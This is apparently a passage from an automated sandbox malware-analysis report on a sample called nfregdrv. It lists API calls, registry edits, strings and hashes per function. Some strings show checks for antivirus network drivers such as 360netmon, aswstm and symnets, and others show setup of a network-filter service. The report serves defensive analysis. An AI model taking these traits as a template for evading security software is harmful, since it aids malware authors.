                                                                                                                  • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,40000000,00000000,?,?,?,?,00000000), ref: 100137EF
                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 100137F9
                                                                                                                  • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,40000000,00000000,?,?,?,?,?,00000000), ref: 10013846
                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 1001384A
                                                                                                                  • _memset.LIBCMT ref: 1001386F
                                                                                                                  • GetVersionExA.KERNEL32 ref: 10013884
                                                                                                                  • DeviceIoControl.KERNEL32(00000000,0022019C,00000000,00000000,?,00000004,?,00000000), ref: 100138A8
                                                                                                                  • SetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 10013975
                                                                                                                    • Part of subcall function 10013540: OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 100135C3
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorLast$CreateFile$ControlDeviceManagerOpenVersion__snprintf_memset
                                                                                                                  • String ID: %s%s$360netmon$\\.\CtrlSM$aswstm$aswstm$nisdrv$symnets
                                                                                                                  • API String ID: 3009835240-779568551
                                                                                                                  • Opcode ID: a3a7f9f4621a4370de1945aa5ff1c6f54205322984f1227c5b51e51712c71830
                                                                                                                  • Instruction ID: baa3f68826ae7ef6a95450bd968b4d24564606f9d9b479f6fa913fa53dd98394
                                                                                                                  • Opcode Fuzzy Hash: a3a7f9f4621a4370de1945aa5ff1c6f54205322984f1227c5b51e51712c71830
                                                                                                                  • Instruction Fuzzy Hash: B641F6F5904341ABE610DB649C82F9B77E8EB81758F00852DF6456A1C2EB71E9C8C763
                                                                                                                  Function 10012E20 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 110registryCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Control\GroupOrderList,00000000,00000003,?,?,00000001,?,?,00000000), ref: 10012E39
                                                                                                                  • RegQueryValueExA.ADVAPI32(?,PNP_TDI,00000000,?,00000000,?,00000000), ref: 10012E70
                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00000001), ref: 10012E7B
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseOpenQueryValue
                                                                                                                  • String ID: PNP_TDI$PNP_TDI$PNP_TDI$SYSTEM\CurrentControlSet\Control\GroupOrderList
                                                                                                                  • API String ID: 3677997916-2641009432
                                                                                                                  • Opcode ID: 2eb10eaa1c7938493b03d9852b263a48069f7a2f456ef6b17a8b5cbc44dafcf6
                                                                                                                  • Instruction ID: adba37e169228668f0a2802fe9bc245960bfac646b6212eb4cbe9f041a721e83
                                                                                                                  • Opcode Fuzzy Hash: 2eb10eaa1c7938493b03d9852b263a48069f7a2f456ef6b17a8b5cbc44dafcf6
                                                                                                                  • Instruction Fuzzy Hash: 6531A1B6500311ABE711DB64EC86FDB77E8EF48641F504428F649D7240E730E854C7A1
                                                                                                                  Function 10013020 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 88registryCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • __snprintf.LIBCMT ref: 10013094
                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00000003,?,?,?,?,?), ref: 100130AF
                                                                                                                  • RegSetValueExA.ADVAPI32(?,Group,00000000,00000001,?,00000005), ref: 100130F6
                                                                                                                  • RegSetValueExA.ADVAPI32(?,DependOnService,00000000,00000007,?,00000007), ref: 1001310D
                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 10013133
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Value$CloseOpen__snprintf
                                                                                                                  • String ID: DependOnService$Group$Group$NDIS$PNP_TDI$SYSTEM\CurrentControlSet\Services\%s$tcpip
                                                                                                                  • API String ID: 1654562893-4206996638
                                                                                                                  • Opcode ID: 8e36c738326b6755c6e6de9151109be2b92cdf69e4b2cd075e3ef94430a67263
                                                                                                                  • Instruction ID: f39133bfa4f10865251ae0e01663f88c1eeb0859d6cfe85fe8bdc8d9a42c57b8
                                                                                                                  • Opcode Fuzzy Hash: 8e36c738326b6755c6e6de9151109be2b92cdf69e4b2cd075e3ef94430a67263
                                                                                                                  • Instruction Fuzzy Hash: AF316675618350AFE715CB64CC91FAB77E5AB8D710F40C80CF68897290EA74E984CBD2
                                                                                                                  Function 00403474 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 164libraryloaderCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • LoadLibraryA.KERNEL32(USER32.DLL,00000000,00000000,00000314,?,?,?,0040B040,00401917,0040B040,Microsoft Visual C++ Runtime Library,00012010), ref: 004034A1
                                                                                                                  • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 004034BD
                                                                                                                    • Part of subcall function 004022B3: TlsGetValue.KERNEL32(00000000,00402328,00000000,00403482,00000000,00000000,00000314,?,?,?,0040B040,00401917,0040B040,Microsoft Visual C++ Runtime Library,00012010), ref: 004022C0
                                                                                                                    • Part of subcall function 004022B3: TlsGetValue.KERNEL32(00000006,?,?,?,0040B040,00401917,0040B040,Microsoft Visual C++ Runtime Library,00012010), ref: 004022D7
                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 004034DA
                                                                                                                    • Part of subcall function 004022B3: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B040,00401917,0040B040,Microsoft Visual C++ Runtime Library,00012010), ref: 004022EC
                                                                                                                    • Part of subcall function 004022B3: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00402307
                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 004034EF
                                                                                                                  • __invoke_watson.LIBCMT ref: 00403510
                                                                                                                    • Part of subcall function 00402D4D: IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 00402DF7
                                                                                                                    • Part of subcall function 00402D4D: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 00402E01
                                                                                                                    • Part of subcall function 00402D4D: UnhandledExceptionFilter.KERNEL32(0040B040,?,?,00000000), ref: 00402E0B
                                                                                                                    • Part of subcall function 00402D4D: GetCurrentProcess.KERNEL32(C000000D,?,?,00000000), ref: 00402E26
                                                                                                                    • Part of subcall function 00402D4D: TerminateProcess.KERNEL32(00000000,?,?,00000000), ref: 00402E2D
                                                                                                                    • Part of subcall function 0040232A: TlsGetValue.KERNEL32(00000000,004023BF,?,004024E4,?,?,0040199A), ref: 00402337
                                                                                                                    • Part of subcall function 0040232A: TlsGetValue.KERNEL32(00000006,?,004024E4,?,?,0040199A), ref: 0040234E
                                                                                                                    • Part of subcall function 0040232A: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,004024E4,?,?,0040199A), ref: 00402363
                                                                                                                    • Part of subcall function 0040232A: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 0040237E
                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00403524
                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0040353C
                                                                                                                  • __invoke_watson.LIBCMT ref: 004035AF
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressProc$Value$ExceptionFilterHandleModuleProcessUnhandled__invoke_watson$CurrentDebuggerLibraryLoadPresentTerminate
                                                                                                                  • String ID: GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
                                                                                                                  • API String ID: 2691309996-1046234306
                                                                                                                  • Opcode ID: f1db5f22bdf6dbb55a5fef3c5404ea4e20a60e7af2fc674b508acf6c650a639d
                                                                                                                  • Instruction ID: 13767e751e4e8118919b7ef88e5ef330d54a0fa0e132c7187f46cb55eadbc1d1
                                                                                                                  • Opcode Fuzzy Hash: f1db5f22bdf6dbb55a5fef3c5404ea4e20a60e7af2fc674b508acf6c650a639d
                                                                                                                  • Instruction Fuzzy Hash: FC416271D04205BACF21AFE59E8596F7FACEB44356B14487FE401F22D0DBBD8A408A9D
                                                                                                                  Function 1000EA12 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 164libraryloaderCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • LoadLibraryA.KERNEL32(USER32.DLL,00000000,00000000,00000314,?,?,?,1001F3B0,1000A694,1001F3B0,Microsoft Visual C++ Runtime Library,00012010), ref: 1000EA3F
                                                                                                                  • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 1000EA5B
                                                                                                                    • Part of subcall function 1000A8A7: TlsGetValue.KERNEL32(00000000,1000A91C,00000000,1000EA20,00000000,00000000,00000314,?,?,?,1001F3B0,1000A694,1001F3B0,Microsoft Visual C++ Runtime Library,00012010), ref: 1000A8B4
                                                                                                                    • Part of subcall function 1000A8A7: TlsGetValue.KERNEL32(00000002,?,?,?,1001F3B0,1000A694,1001F3B0,Microsoft Visual C++ Runtime Library,00012010), ref: 1000A8CB
                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000EA78
                                                                                                                    • Part of subcall function 1000A8A7: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,1001F3B0,1000A694,1001F3B0,Microsoft Visual C++ Runtime Library,00012010), ref: 1000A8E0
                                                                                                                    • Part of subcall function 1000A8A7: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 1000A8FB
                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000EA8D
                                                                                                                  • __invoke_watson.LIBCMT ref: 1000EAAE
                                                                                                                    • Part of subcall function 100081EF: _memset.LIBCMT ref: 1000827B
                                                                                                                    • Part of subcall function 100081EF: IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 10008299
                                                                                                                    • Part of subcall function 100081EF: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 100082A3
                                                                                                                    • Part of subcall function 100081EF: UnhandledExceptionFilter.KERNEL32(1001F3B0,?,?,00000000), ref: 100082AD
                                                                                                                    • Part of subcall function 100081EF: GetCurrentProcess.KERNEL32(C000000D,?,?,00000000), ref: 100082C8
                                                                                                                    • Part of subcall function 100081EF: TerminateProcess.KERNEL32(00000000,?,?,00000000), ref: 100082CF
                                                                                                                    • Part of subcall function 1000A91E: TlsGetValue.KERNEL32(?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27,00000001,?,?,1001B608), ref: 1000A92B
                                                                                                                    • Part of subcall function 1000A91E: TlsGetValue.KERNEL32(00000002,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27,00000001), ref: 1000A942
                                                                                                                    • Part of subcall function 1000A91E: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27,00000001), ref: 1000A957
                                                                                                                    • Part of subcall function 1000A91E: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 1000A972
                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 1000EAC2
                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 1000EADA
                                                                                                                  • __invoke_watson.LIBCMT ref: 1000EB4D
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressProc$Value$ExceptionFilterHandleModuleProcessUnhandled__invoke_watson$CurrentDebuggerLibraryLoadPresentTerminate_memset
                                                                                                                  • String ID: GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
                                                                                                                  • API String ID: 2940365033-1046234306
                                                                                                                  • Opcode ID: d07f4621edcdfa6a2460bf8fc81f84a922532c73ec9128826bd03ea427b93a6a
                                                                                                                  • Instruction ID: 9cd623b29455d8c5ce966f6a502c8aefc0998dc8575b976e3ae0cba05518725e
                                                                                                                  • Opcode Fuzzy Hash: d07f4621edcdfa6a2460bf8fc81f84a922532c73ec9128826bd03ea427b93a6a
                                                                                                                  • Instruction Fuzzy Hash: 0D418C75D04299AAFF04EFA4CCC596E7BE9EF153C0B11452EE402F2155DB38EA848B62
                                                                                                                  Function 10017AB0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 161COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32 ref: 10017AF0
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10017CE3
                                                                                                                    • Part of subcall function 10012D70: RegOpenKeyExA.KERNELBASE(80000002,SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters,00000000,00000003,?,?,?,10013525,00000000), ref: 10012D86
                                                                                                                    • Part of subcall function 10012D00: RegOpenKeyExA.KERNELBASE(80000002,SYSTEM\CurrentControlSet\Services\Tcpip\Parameters,00000000,00000002,00000000,00000000,00000000), ref: 10012D15
                                                                                                                    • Part of subcall function 10013790: __snprintf.LIBCMT ref: 100137C7
                                                                                                                    • Part of subcall function 10013790: CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,40000000,00000000,?,?,?,?,00000000), ref: 100137EF
                                                                                                                    • Part of subcall function 10013790: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 100137F9
                                                                                                                    • Part of subcall function 10013790: CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,40000000,00000000,?,?,?,?,?,00000000), ref: 10013846
                                                                                                                    • Part of subcall function 10013790: GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 1001384A
                                                                                                                    • Part of subcall function 10013790: _memset.LIBCMT ref: 1001386F
                                                                                                                    • Part of subcall function 10013790: GetVersionExA.KERNEL32 ref: 10013884
                                                                                                                    • Part of subcall function 10013790: DeviceIoControl.KERNEL32(00000000,0022019C,00000000,00000000,?,00000004,?,00000000), ref: 100138A8
                                                                                                                  • _strncpy.LIBCMT ref: 10017B59
                                                                                                                  • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 10017B93
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,0012C800,00000000,00000000,10020180,00000020,00000000,?), ref: 10017BD9
                                                                                                                  • GetLastError.KERNEL32 ref: 10017BE3
                                                                                                                  • CloseHandle.KERNEL32(FFFFFFFF), ref: 10017C01
                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 10017C13
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10017C1A
                                                                                                                  • GetOverlappedResult.KERNEL32(FFFFFFFF,?,?,00000001), ref: 10017C48
                                                                                                                  • ?nf_free@nfapi@@YAXXZ.NFAPI ref: 10017CC2
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CreateCriticalErrorLastSection$CloseControlDeviceFileHandleLeaveOpen$?nf_free@nfapi@@EnterEventOverlappedResultVersion__snprintf_memset_strncpy
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2653159964-3916222277
                                                                                                                  • Opcode ID: 3f87b7c55b4061039f33afb2760d837fa2a97d9a8f10da4fd9a74bcaa174a95a
                                                                                                                  • Instruction ID: 607d77e5ab761dd3358ab37ac97749732553c8b829fe0467e4f2801d9018e119
                                                                                                                  • Opcode Fuzzy Hash: 3f87b7c55b4061039f33afb2760d837fa2a97d9a8f10da4fd9a74bcaa174a95a
                                                                                                                  • Instruction Fuzzy Hash: 3F51C0B08043549FE341CF38CCC565A7BE9FB08364F60462DF559DB2A2D735DA858B92
                                                                                                                  Function 10014CF0 Relevance: 18.2, APIs: 12, Instructions: 157fileCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(10020324), ref: 10014D6E
                                                                                                                  • WriteFile.KERNEL32(FFFFFFFF,?,00000008,00000000,?), ref: 10014DF8
                                                                                                                  • GetLastError.KERNEL32 ref: 10014E02
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020324), ref: 10014E14
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$EnterErrorFileLastLeaveWrite
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1726892732-0
                                                                                                                  • Opcode ID: 9df71c563617eb9f339eaef5488ee90d51df01b4ebf1fcf1fc522e00c65f13bd
                                                                                                                  • Instruction ID: e6d18f47d42f15309a32aad744ee6051ace0a6f11929ee79e8724ce5300da237
                                                                                                                  • Opcode Fuzzy Hash: 9df71c563617eb9f339eaef5488ee90d51df01b4ebf1fcf1fc522e00c65f13bd
                                                                                                                  • Instruction Fuzzy Hash: 14515971A043219FD304CF68EC84A66B7E9FB88720F118A5EF959CB2A1DB30D9458B91
                                                                                                                  Function 10014ED0 Relevance: 18.1, APIs: 12, Instructions: 116filesynchronizationCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(10020324,?,?,?,?,?,?,?,?,?,1001536D), ref: 10014F3F
                                                                                                                  • WriteFile.KERNEL32(FFFFFFFF,?,00000008,00000000,?), ref: 10014F8F
                                                                                                                  • GetLastError.KERNEL32 ref: 10014F99
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020324), ref: 10014FAB
                                                                                                                  • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 10014FC6
                                                                                                                  • CancelIo.KERNEL32(FFFFFFFF), ref: 10014FD7
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020324), ref: 10014FE2
                                                                                                                  • WaitForSingleObject.KERNEL32(FFFFFFFF,00000000), ref: 10014FF9
                                                                                                                  • CancelIo.KERNEL32(FFFFFFFF), ref: 10015009
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020324), ref: 10015014
                                                                                                                  • GetOverlappedResult.KERNEL32(FFFFFFFF,?,?,00000000), ref: 1001502F
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020324), ref: 1001504B
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$CancelWait$EnterErrorFileLastMultipleObjectObjectsOverlappedResultSingleWrite
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 875271372-0
                                                                                                                  • Opcode ID: 4956b33f9505844bcca6f3e2d83279b108e1b3c573e129efff33a3fba19fd776
                                                                                                                  • Instruction ID: 56031a59c6608db13f70e1c4f4aa1c6cc63b7cc0fadcfe5918aabc4c2d2b60d1
                                                                                                                  • Opcode Fuzzy Hash: 4956b33f9505844bcca6f3e2d83279b108e1b3c573e129efff33a3fba19fd776
                                                                                                                  • Instruction Fuzzy Hash: B3418E359043209FE305CF68CCC5A6A77E5FB88760F51CA1DF9A9CA2A1DB30D9458B92
                                                                                                                  Function 1000AA38 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 49libraryloaderCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetModuleHandleA.KERNEL32(KERNEL32.DLL,1001B668,0000000C,1000AB49,00000000,00000000,?,?,?,1000A968,?,1000ACF2,00000000,00000000,10008BC3,00000000), ref: 1000AA49
                                                                                                                  • GetProcAddress.KERNEL32(?,EncodePointer), ref: 1000AA7D
                                                                                                                  • GetProcAddress.KERNEL32(?,DecodePointer), ref: 1000AA8D
                                                                                                                  • InterlockedIncrement.KERNEL32(1001E5E0), ref: 1000AAAF
                                                                                                                  • __lock.LIBCMT ref: 1000AAB7
                                                                                                                  • ___addlocaleref.LIBCMT ref: 1000AAD6
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressProc$HandleIncrementInterlockedModule___addlocaleref__lock
                                                                                                                  • String ID: DecodePointer$EncodePointer$KERNEL32.DLL$"v`"v
                                                                                                                  • API String ID: 1036688887-692071613
                                                                                                                  • Opcode ID: 6cb8d5c28d5074f433760f6667332ab0361c674de9d04a8c3266a8bd50229b50
                                                                                                                  • Instruction ID: bcf2beea3aee41d2aa15f995c6c6d73addff0134c8f7c4ab08a319bce46e109a
                                                                                                                  • Opcode Fuzzy Hash: 6cb8d5c28d5074f433760f6667332ab0361c674de9d04a8c3266a8bd50229b50
                                                                                                                  • Instruction Fuzzy Hash: 9F116DB49007469FEB11DF75CC45B9ABBE0EF06380F008519E5A59B291DB34EA80CB11
                                                                                                                  Function 00402410 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 49libraryloaderCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409438,0000000C,00402521,00000000,00000000,?,?,0040199A), ref: 00402421
                                                                                                                  • GetProcAddress.KERNEL32(?,EncodePointer), ref: 00402455
                                                                                                                  • GetProcAddress.KERNEL32(?,DecodePointer), ref: 00402465
                                                                                                                  • InterlockedIncrement.KERNEL32(0040A460), ref: 00402487
                                                                                                                  • __lock.LIBCMT ref: 0040248F
                                                                                                                  • ___addlocaleref.LIBCMT ref: 004024AE
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressProc$HandleIncrementInterlockedModule___addlocaleref__lock
                                                                                                                  • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                                                                  • API String ID: 1036688887-2843748187
                                                                                                                  • Opcode ID: 492f236ed60c7165788bb238f70ef5b424b799d510fd4f5d693c5339c7311626
                                                                                                                  • Instruction ID: c1e121c7a9f45585e2cf3b5064cbb5a882fb755c8da4f7f00742ea9dc2ffa3f8
                                                                                                                  • Opcode Fuzzy Hash: 492f236ed60c7165788bb238f70ef5b424b799d510fd4f5d693c5339c7311626
                                                                                                                  • Instruction Fuzzy Hash: C41182719407019ED710AF75DA49B5ABBE4EF44314F10853EE495B32D1CBBC9900CF19
